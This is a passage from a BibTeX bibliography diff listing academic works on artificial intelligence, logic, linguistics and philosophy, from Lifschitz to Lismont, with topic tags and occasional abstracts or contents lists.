Frame Problem}, by + {M}urray {S}hanahan}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {265--268}, + xref = {Review of: shanahan:1997a. Response: shanahan:2000a.}, + topic = {kr;temporal-reasoning;frame-problem;krcourse;} + } + +@incollection{ lifschitz-etal:2000a, + author = {Vladimir Lifschitz and Norman McCain and Emilio Remolina and + Armando Tacchella}, + title = {Getting to the Airport: The Oldest Planning Problem in + {AI}}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {147--165}, + address = {Dordrecht}, + topic = {logic-in-AI;} + } + +@article{ lifschitz:2002a, + author = {Vladimir Lifschitz}, + title = {Answer Set Generation and Plan Generation}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {138}, + number = {1--2}, + pages = {39--54}, + topic = {logic-programming;answer-sets;plan-algorithms;} + } + +@article{ ligeza:1990a, + author = {Antoni Lig\k{e}za}, + title = {Dynamic Backward Reasoning Systems}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {2}, + pages = {127--152}, + topic = {search;planning-algorithms;} + } + +@techreport{ light:1993a, + author = {Mark Light}, + title = {Classification in Feature-Based Default Inheritance + Hierarchies}, + institution = {Computer Science Department, University of Rochester}, + number = {473}, + year = {1991}, + address = {Rochester, NY}, + topic = {kr;inheritance;classification;feature-structures;kr-course;} + } + +@inproceedings{ light:1996a, + author = {Marc Light}, + title = {Morphological Cues for Lexical Semantics}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {25--31}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {derivational-morphology;word-learning;} + } + +@article{ light:1998a, + author = {Marc Light}, + title = {Review of {\em Corpus Processing for Lexical Acquisition}, + by {B}ranimir {B}oguraev and {J}ames {P}ustejovsky}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {111--114}, + topic = {corpus-linguistics;dictionary-construction;} + } + +@incollection{ lightner:1971a, + author = {Theodore Lightner}, + title = {Generative Phonology}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {498--574}, + address = {College Park, Maryland}, + topic = {phonology;} + } + +@book{ lim-morley:1990a, + author = {Pierre Lim and David Morley}, + title = {Domains For Meta-Programming}, + publisher = {Dept. of Computer Science, Monash University}, + year = {1990}, + address = {Clayton, Australia}, + ISBN = {1575862379}, + topic = {metaprogramming;} + } + +@techreport{ lin_dk-goebel:1989a, + author = {Dekang Lin and Randy Goebel}, + title = {Computing Circumscription of Ground Theories with + Theorist}, + institution = {Department of Computing Science, University of Alberta}, + number = {TR 89--26}, + year = {1989}, + address = {Edmonton}, + topic = {circumscription;nonmonotonic-reasoning;} + } + +@techreport{ lin_dk-goebel:1989b, + author = {Dekang Lin and Randy Goebel}, + title = {A Probabilistic Theory of Abductive Diagnostic Reasoning}, + institution = {Department of Computing Science, University of Alberta}, + number = {TR 89--25}, + year = {1989}, + address = {Edmonton}, + missinginfo = {A's 1st name}, + topic = {abduction;diagnosis;} + } + +@inproceedings{ lin_dk:1997a, + author = {Dekang Lin}, + title = {Using Syntactic Dependency on Local Context to Resolve + Word Sense Ambiguity}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {64--71}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {lexical-disambiguation;nl-processing;} + } + +@article{ lin_dk:1999a, + author = {Dekang Lin}, + title = {Review of {\em Wordnet: An Electronic Lexical + Database}, by {C}hristiane {F}ellbaum}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {292--296}, + xref = {Review of fellbaum:1998a.}, + topic = {wordnet;clcourse;} + } + +@inproceedings{ lin_fz:1988a, + author = {Fangzhen Lin}, + title = {Circumscription in a Modal Logic}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {113--127}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {circumscription;modal-logic;epistemic-logic;} + } + +@incollection{ lin_fz-shoham_y1:1989a, + author = {Fangzhen Lin and Yoav Shoham}, + title = {Argument Systems: A Uniform Basis For Non-Monotonic + Reasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {245--255}, + address = {San Mateo, California}, + topic = {argument-systems;nonmonotonic-logic;} + } + +@phdthesis{ lin_fz:1990a, + author = {Fangzhen Lin}, + title = {A Study in Nonmonotonic Reasoning}, + school = {Computer Science Department, Stanford University}, + year = {1991}, + topic = {action;planning-formalisms;nonmonotonic-logic; + causality;} + } + +@inproceedings{ lin_fz-shoham_y1:1990a, + author = {Fang-Zhen Lin and Yoav Shoham}, + title = {Epistemic Semantics For Fixed-Points Non-Monotonic Logics}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {111--120}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nonmonotonic-logic;fixpoints;autoepistemic-logic; + default-logic;} + } + +@inproceedings{ lin_fz-shoham_y1:1991a, + author = {Fangzhen Lin and Yoav Shoham}, + title = {Provably Correct Theories of Action (Preliminary Report)}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {349--354}, + organization = {American Association for Artificial Intelligence}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + topic = {action;planning-formalisms;frame-problem;concurrent-actions;} + } + +@article{ lin_fz-shoham_y1:1992a, + author = {Fangzhen Lin and Yoav Shoham}, + title = {A Logic of Knowledge and Justified Assumptions}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {2--3}, + pages = {271--289}, + topic = {kr;nonmonotonic-logic;epistemic-logic;kr-course;} + } + +@inproceedings{ lin_fz-shoham_y1:1992b, + author = {Fangzhen Lin and Yoav Shoham}, + title = {Concurrent Actions in the Situation Calculus}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {action;planning-formalisms;concurrent-action;} + } + +@article{ lin_fz-reiter_r:1994a, + author = {Fangzhen Lin and Raymond Reiter}, + title = {State Constraints Revisited}, + journal = {Journal of Logic and Computation}, + year = {1994}, + volume = {4}, + pages = {655--678}, + topic = {kr;frame-problem;temporal-reasoning;kr-course;} + } + +@incollection{ lin_fz-reiter_r:1994b, + author = {Fangzhen Lin and Raymond Reiter}, + title = {How to Progress a Database (and Why) {I}: Logical Foundations}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {425--436}, + address = {San Francisco, California}, + topic = {planning-formalisms;temporal-reasoning;kr;kr-course;} + } + +@inproceedings{ lin_fz-reiter_r:1994c, + author = {Fangzhen Lin and Raymond Reiter}, + title = {Forget It!}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Relevance}, + year = {1994}, + editor = {Russell Greiner and Devika Subramanian}, + pages = {154--159}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;} + } + +@inproceedings{ lin_fz:1995a, + author = {Fangzhen Lin}, + title = {Embracing Causality in Specifying the Indirect Effects of + Actions}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1985--1991}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {causality;action-effects;action;action-formalisms;} + } + +@inproceedings{ lin_fz-reiter:1995a, + author = {Fangzhen Lin and Raymond Reiter}, + title = {How to Progress a Database {II}: The {\sc strips} + Connection}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {2001--2007}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + xref = {See lin_fz-reiter:1994b for Part I. Journal Publication: + lin_fz-reiter:1997a}, + topic = {planning-formalisms;temporal-reasoning;kr;kr-course; + situation-calculus;} + } + +@inproceedings{ lin_fz:1996a, + author = {Fangzhen Lin}, + title = {Abstract Operators, Indeterminate Effects, and the + Magic Predicate}, + booktitle = {Working Papers: Common Sense '96}, + year = {1996}, + editor = {Sa\v{s}a Buva\v{c} and Tom Costello}, + pages = {96--103}, + publisher = {Computer Science Department, Stanford University}, + address = {Stanford University}, + note = {Consult http://www-formal.Stanford.edu/tjc/96FCS.}, + topic = {indeterminacy;actions;action-formalisms;frame-problem;} + } + +@inproceedings{ lin_fz:1996b, + author = {Fangzhen Lin}, + title = {Nondeterminism in Causal Theories of Action}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {670--676}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {action-formalisms;causality;(in)determinism;} + } + +@article{ lin_fz-reiter:1997a, + author = {Fangzhen Lin and Raymond Reiter}, + title = {How to Progress a Database}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {131--167}, + xref = {See lin_fz-reiter:1994b, lin_fz-reiter:1995a for conference + papers.}, + topic = {planning-formalisms;temporal-reasoning;kr;kr-course; + situation-calculus;action-formalisms;frame-problem;} + } + +@inproceedings{ lin_fz:1998a, + author = {Fangzhen Lin}, + title = {On the Relationships between Static and Dynamic Causal + Rules in the Situation Calculus}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {38--43}, + topic = {causality;temporal-reasoning;planning-formalisms; + actions;nonmonotonic-reasoning;situation-calculus;} + } + +@incollection{ lin_fz:1998b, + author = {Fangzhen Lin}, + title = {On Measuring Plan Quality (A Preliminary Report)}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {224--232}, + address = {San Francisco, California}, + topic = {kr;planing;plan-evaluation;kr-course;} + } + +@article{ lin_fz:1998c, + author = {Fangzhen Lin}, + title = {Applications of the Situation Calculus to Formalizing + Control and Strategic Information: the {P}rolog Cut Operator}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {273--294}, + topic = {procedural-control;situation-calculus;negation-as-failure;} + } + +@article{ lin_fz-levesque:1998a, + author = {Fangzhen Lin and Hector J. Levesque}, + title = {What Robots Can Do: Robot Programs and Effective + Achievability}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {201--226}, + topic = {cognitive-robotics;action-theory;action-formalisms; + ability;reasoning-about-achievability;} + } + +@inproceedings{ lin_fz:2000a, + author = {Fangzhen Lin}, + title = {On Strongest Necessary and Weakest Sufficient Conditions}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {167--175}, + topic = {abduction;definability;} + } + +@article{ lin_fz:2001a, + author = {Fangzhen Lin}, + title = {On Strongest Necessary and Weakest Sufficient Conditions}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {143--159}, + topic = {definability;abduction;} + } + +@article{ lin_fz:2001b, + author = {Fangzhen Lin}, + title = {A Planner Called {R}}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {73--76}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@incollection{ lin_fz:2002a, + author = {Fangzhen Lin}, + title = {Reducing Strong Equivalence to Entailment in Classical + Propositional Logic}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {170--176}, + address = {San Francisco, California}, + topic = {kr;logic-programming;} + } + +@article{ lin_fz-you:2002a, + author = {Fangzhen Lin and Jia-Huai You}, + title = {Abduction in Logic Programming: A New Definition and an + Abductive Procedure Based on Rewriting}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {175--205}, + topic = {abduction;logic-programming;} + } + +@article{ lin_jw:1998a, + author = {Jo-Wang Lin}, + title = {Distributivity in {C}hinese and its Implications}, + journal = {Natural Language Semantics}, + year = {1998}, + volume = {6}, + number = {2}, + pages = {201--243}, + topic = {distributivity-of-quantifiers;Chinese-language;} + } + +@article{ lin_jw:1999a, + author = {Jo-Wang Lin}, + title = {Double Quantification and the Meaning of {\it Shenne} + `What' in {C}hinese Bare Conditionals}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {6}, + pages = {573--593}, + topic = {nl-quantifiers;Chinese-language;} + } + +@incollection{ lin_jx:1994a, + author = {Jinxin Lin}, + title = {Consistent Belief Reasoning in the Presence of Inconsistency}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {80--94}, + address = {San Francisco}, + topic = {paraconsistency;epistemic-logic;} + } + +@article{ lin_jx:1996a, + author = {Jinxin Lin}, + title = {Integration of Weighted Knowledge Bases}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {2}, + pages = {363--378}, + topic = {knowledge-integration;} + } + +@article{ lin_jx:1996b, + author = {Jinxin Lin}, + title = {A Semantics for Reasoning Consistently in the Presence of + Inconsistency}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {1}, + pages = {75--95}, + topic = {paraconsistency;hyperintensionality;epistemic-logic;} + } + +@article{ lin_wc-etal:1989a, + author = {Wei-Chung Lin and Cheng-Chung Liang and Chin-Tu Chen}, + title = {A Computational Model for Process-Grammar}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {207--224}, + acontentnote = {Abstract: + Shape analysis is a challenging topic in the research areas of + human and machine vision. Recently, Leyton [1] proposed a + process-grammar for analyzing morphological change of + two-dimensional patterns. Because the process-grammar was + designed to give a qualitative description of what has occurred + in the intervening time, it does not quantitatively derive the + later shape from the earlier one and the continuous family of + ``intermediate shapes'' is therefore unspecified. A + computational model is thus proposed to supplement the + process-grammar for describing the continuous process-history of + shape change. Based on the idea of elastic interpolation, the + basic approach is to find a set of ``forces'' acting on one + shape and trying to distort it to be like the other shape. The + intermediate shapes generated by this process can be considered + as the process-history of the two shapes. Five out of six rules + in the process-grammar can be explained by the model without any + modification. By a minor modification, the only rule remained + can also be covered by the model. } , + topic = {spatial-reasoning;extralinguistic-uses-of-grammars;} + } + +@inproceedings{ lincoln-shankar:1994a, + author = {P.D. Lincoln and N. Shankar}, + title = {Proof Search in First-order Linear Logic and Other + Cut-free Sequent Calculi}, + year = {1994}, + booktitle = {LICS}, + pages = {282--291}, + topic = {linear-logic;theorem-proving;cut-free-deduction;} +} + +@book{ lindahl:1977a, + author = {Lars Lindahl}, + title = {Position and Change: A Study in Law and Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + topic = {logic-and-law;} + } + +@book{ lindblom:1977a, + author = {Charles E. Lindblom}, + title = {Politics and Markets: The World's Political Economic + Systems}, + publisher = {Basic Books}, + year = {1977}, + address = {New York}, + ISBN = {0465059570}, + topic = {political-economy;} + } + +@inproceedings{ linden-etal:1997a, + author = {Greg Linden and Steve Hanks and Neal Lesh}, + title = {Interactive Assessment of User Preference Models: The + Automated Travel Assistant}, + booktitle = {Proceedings, User Modeling '97}, + year = {1997}, + note = {Available at + http://www.cs.washington.edu/homes/hanks/Papers/index.html.}, + missinginfo = {Title may not be accurate. editor pages, + organization, address}, + topic = {preference-elicitation;} + } + +@book{ lindsay-norman:1972a, + author = {Peter H. Lindsay and Donald A. Norman}, + title = {Human Information Processing; An Introduction to Psychology}, + publisher = {Academic Press}, + year = {1972}, + address = {New York}, + ISBN = {0124509509}, + topic = {cognitive-psychology;} + } + +@article{ lindsay:1988a1, + author = {Robert Lindsay}, + title = {Imagery and Inference}, + journal = {Cognition}, + year = {1988}, + volume = {29}, + pages = {229--250}, + missinginfo = {number}, + xref = {Republication: lindsay:1988a2}, + topic = {diagrams;cognitive-psychology;visual-reasoning;} + } + +@incollection{ lindsay:1988a2, + author = {Robert K. Lindsay}, + title = {Imagery and Inference}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {111--135}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: lindsay:1988a1}, + topic = {diagrams;cognitive-psychology;visual-reasoning;} + } + +@article{ lindsay-etal:1993a, + author = {Robert K. Lindsay and Bruce G. Buchanan and Edward A. + Feigenbaum and Joshua Lederberg}, + title = {{DENDRAL}: A Case Study of the First Expert System for + Scientific Hypothesis Formation}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {2}, + pages = {209--261}, + acontentnote = {Abstract: + The DENDRAL Project was one of the first large-scale programs to + embody the strategy of using detailed, task-specific knowledge + about a problem domain as a source of heuristics, and to seek + generality through automating the acquisition of such knowledge. + This paper summarizes the major conceptual contributions and + accomplishments of that project. It is an attempt to distill + from this research the lessons that are of importance to + artificial intelligence research and to provide a record of the + final status of two decades of work. } , + topic = {expert-systems;scientific-reasoning;computer-assisted-science;} + } + +@incollection{ lindstrom-rabinowicz:1991a, + author = {Sten Lindstrom and Wlodzimierz Rabinowicz}, + title = {Belief Revision, Epistemic Conditionals, and the {R}amsey + Test}, + booktitle = {The Logic of Theory Change}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Andr\'e Fuhrmann and Michael Morreau}, + pages = {93--126}, + address = {Berlin}, + topic = {belief-revision;cccp;conditionals;} + } + +@article{ lindstrom:2001a, + author = {Per Lindstr\"om}, + title = {Penrose's New Argument}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {3}, + pages = {241--250}, + topic = {foundations-of-cognition;goedels-first-theorem; + goedels-second-theorem;philosophy-of-computation;} + } + +@article{ lindstrom_s-rabinowicz_w1:1989a, + author = {Sten Lindstrom and Wlodzimierz Rabinowicz}, + title = {On Probabilistic Representation of Non-Probabilistic + Belief Revision}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {1}, + pages = {69--101}, + topic = {probability-kinematics;belief-revision;} + } + +@article{ lindstrom_s-rabinowicz_w1:1992a, + author = {Sten Lindstrom and Wlodzimierz Rabinowicz}, + title = {Belief Revision, Epistemic Conditionals and the {R}amsey + Test}, + journal = {Synth\'ese}, + year = {1992}, + volume = {91}, + pages = {195--237}, + missinginfo = {number}, + topic = {conditionals;belief-revision;cccp;} + } + +@incollection{ lindstrom_s-rabinowicz:1995a, + author = {Sten Lindstr\"om and Wlodzimierz Rabinowicz}, + title = {The {R}amsey Test Revisited}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {147--191}, + address = {Oxford}, + topic = {conditionals;belief-revision;CCCP;} + } + +@incollection{ lindstrom_s:1996a, + author = {Sten Lindstrom}, + title = {The {R}amsey Test and the Indexicality of Conditionals: + A Proposed Resolution of {G}\"ardenfors' Paradox}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {208--228}, + address = {Berlin}, + contentnote = {This is about the qualitative version of the + CCCP.}, + topic = {conditionals;belief-revision;indexicality;context;} + } + +@incollection{ lindstrom_s-rabinowicz:1998a, + author = {Sten Lindstr\"om and Wlodek Rabinowicz}, + title = {Conditionals and the {R}amsey Test}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {147--188}, + address = {Dordrecht}, + topic = {conditionals;belief-revision;CCCP;} + } + +@article{ linebarger:1987a, + author = {Marcia C. Linebarger}, + title = {Negative Polarity and Grammatical Representation}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {3}, + pages = {325--387}, + topic = {polarity;syntax-semantics-interface;} + } + +@article{ lingard-richards:1998a, + author = {A.R. Lingard and E.B. Richards}, + title = {Planning Parallel Actions}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {2}, + pages = {261--324}, + missinginfo = {A's 1st name}, + topic = {planning;temporal-reasoning;concurrent-actions;} + } + +@book{ lingis:1998a, + author = {Alphonso Lingis}, + title = {The Imperative}, + publisher = {Inidana University Press}, + year = {1998}, + address = {Bloomington}, + topic = {imperatives;} + } + +@article{ linhares:2000a, + author = {Alexandre Linhares}, + title = {A Glimpse at the Metaphysics of {B}ongard Problems}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {121}, + number = {1--2}, + pages = {251--270}, + topic = {visual-reasoning;philosophical-realism;} + } + +@incollection{ link:1983a, + author = {Godehard Link}, + title = {The Logical Analysis of Plurals and Mass Terms: A + Lattice-Theoretical Approach}, + booktitle = {Meaning, Use, and Interpretation of Language}, + publisher = {Walter de Gruyter}, + year = {1983}, + editor = {Rainer B\"auerle and Christoph Schwarze and Arnim von + Stechow}, + pages = {302--323}, + address = {Berlin}, + topic = {nl-semantics;mass-term-semantics;} + } + +@incollection{ link:1984a, + author = {Godehard Link}, + title = {Hydras: On the Logic of Relative Clause Constructions + With Multiple Heads}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {245--257}, + address = {Dordrecht}, + topic = {nl-semantics;plural;} + } + +@incollection{ link:1987a, + author = {Godehard Link}, + title = {Algebraic Semantics of Event Structures}, + booktitle = {Proceedings of the Sixth {A}msterdam Colloquium April + 13--16 1987}, + publisher = {Institute for Language, Logic and Information, + University of Amsterdam}, + year = {1987}, + editor = {Jeroen Groenendijk and Martin Stokhof and Frank Veltman}, + address = {Amsterdam}, + topic = {tense-aspect;events;} + } + +@incollection{ link:1991a, + author = {Godehard Link}, + title = {Plural}, + booktitle = {Semantik/Semantics: an International Handbook + of Contemporary Research}, + publisher = {Walter de Gruyter}, + year = {1991}, + editor = {Dieter Wunderlich and Arnim {von Stechow}}, + address = {Berlin}, + missinginfo = {pages}, + topic = {nl-semantics;plural;} + } + +@incollection{ link:1995a, + author = {Godehard Link}, + title = {Generic Information and Dependent Generics}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {358--382}, + address = {Chicago, IL}, + contentnote = {TC: + 1. Krifka, Pelletier, Carlson, ter Meulen, Chierchia, Link, + "Genericity: an Introduction" + 2. Kratzer, "Stage-Level and Individual-Level Predicates" + 3. Chierchia, "Individual-Level Predicates as Inherent Generics" + 4. Carlson, "Truth Conditions of Generic Sentences: Two Contrasting + Views" + 5. Krifka, "Focus and the Interpretation of Generic Sentences" + 6. Rooth, "Indefinites, Adverbs of Quantification, and Focus + Semantics" + 7. Asher and Morreau, "What Some Generic Sentences Mean" + 8. Alice ter Meulen, "Semantic Constraints on Type-Shifting" + 9. Link, "Generic Information and Dependent Generics" + 10. Wilkinson, "The Semantics of the Common Noun `Kind'" + 11. Krifka, "Common Nouns: A Contrastive Analysis of English + and Chinese" + 12. Dahl, "The Marking of the Episodic/Generic Distinction in + Tense-Aspect Systems" + } , + topic = {generics;} + } + +@book{ link:1997a, + author = {Godehard Link}, + title = {Algebraic Semantics in Language and Philosophy}, + publisher = {{CSLI} Publications}, + year = {1997}, + address = {Stanford, California}, + ISBN = {1575860902}, + topic = {nl-semantics;mass-term-semantics;plural;generics;} + } + +@article{ linke-schaub:2000a, + author = {Thomas Linke and Torsten Schaub}, + title = {Alternative Foundations for {R}eiter's Default Logic}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {1}, + pages = {31--86}, + topic = {nonmonotonic-logic;default-logic;} + } + +@book{ linsky:1952a, + editor = {Leonard Linsky}, + title = {Semantics and the Philosophy of Language}, + publisher = {University of Illinois Press}, + year = {1952}, + address = {Urbana, Illinois}, + topic = {philosophy-of-language;} + } + +@book{ linsky:1967a, + author = {Leonard Linsky}, + title = {Referring}, + publisher = {Routledge}, + year = {1967}, + address = {London}, + topic = {reference;analytic-philosophy;philosophical-ontology;} + } + +@book{ linsky:1971a, + editor = {Leonard Linsky}, + title = {Reference and Modality}, + publisher = {Oxford University Press}, + year = {1971}, + address = {Oxford}, + contentnote = {TC: + 1. W.V.O. Quine, "Reference and Modality" + 2. A.F. Smullyan, "Modality and Description" + 3. R.B Marcus, "Extensionality" + 4. D. F{\o}llesdal, "Quantification into Causal Contexts" + 5. S.A. Kripke, "Semantical Considerations on Modal Logic" + 6. T. Parsons, "Essentialism and Quantified Modal Logic" + 7. L. Linsky, "Reference, Essentialism, and Modality" + 8. W. V. O. Quine, "Quantifiers and Propositional Attitudes" + 9. D. Kaplan, "Quantifying in" + 10. J. Hintikka, "Semantics for propositional attitudes" + 11. A. Church, "On {C}arnap's Analysis of Statements of Assertion + and Belief" + } , + ISBN = {019875017X}, + topic = {modal-logic;intensionality;quantifying-in-modality;} + } + +@incollection{ linsky:1972a, + author = {Leonard Linsky}, + title = {Analytic/Synthetic and Semantic Theory}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {473--482}, + address = {Dordrecht}, + topic = {analyticity;nl-semantics;} + } + +@book{ linsky:1977a, + author = {Leonard Linsky}, + title = {Names and Descriptions}, + publisher = {University of Chicago Press}, + year = {1977}, + address = {Chicago}, + ISBN = {0226484416}, + topic = {proper-names;definite-descriptions;reference;} + } + +@book{ linsky:1980a, + author = {Leonard Linsky}, + title = {Referring}, + publisher = {Humanities Press}, + year = {1980}, + address = {Atlantic Highlands, New Jersey}, + ISBN = {0391017462}, + topic = {reference;analytic-philosophy;definite-descriptions;} + } + +@book{ linsky:1983a, + author = {Leonard Linsky}, + title = {Oblique Contexts}, + publisher = {University of Chicago Press}, + year = {1983}, + address = {Chicago}, + ISBN = {0226484394}, + topic = {intensionality;} + } + +@article{ liou-tai:2000a, + author = {Cheng-Yuan Liou and Wen-Pin Tai}, + title = {Conformity to the Self-Organization Network}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {265--286}, + topic = {pattern-recognition;self-organization-network;} + } + +@inproceedings{ lipman:1989a, + author = {Barton L. Lipman}, + title = {How to Decide How to Decide How to $\ldots$: + Limited Rationality in Decisions and Games}, + booktitle = {Working Notes of the {AAAI} Symposium on {AI} and Limited + Rationality}, + year = {1989}, + pages = {77--80}, + organization = {AAAI}, + address = {Menlo Park, California}, + month = {March}, + topic = {limited-rationality;decision-theory;} + } + +@inproceedings{ lipman:1990a, + author = {Barton L. Lipman}, + title = {On the Strategic Advantages of a Lack of Common Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {209--224}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {mutual-belief;game-theory;foundations-of-game-theory;} + } + +@incollection{ lipman:1994a, + author = {Barton L. Lipman}, + title = {An Axiomatic Approach to the Logical Omniscience Problem}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {182--196}, + address = {San Francisco}, + topic = {hyperintensionality;epistemic-logic;} + } + +@book{ lipton:1991a, + author = {Peter Lipton}, + title = {Inference to the Best Explanation}, + publisher = {Routledge}, + year = {1991}, + address = {London}, + xref = {Review: vogel_j:1993a}, + topic = {abduction;explanation;philosophy-of-science;} + } + +@article{ lismont-mongin:1994a, + author = {Luc Lismont and Philippe Mongin}, + title = {A Non-Minimal But Very Weak 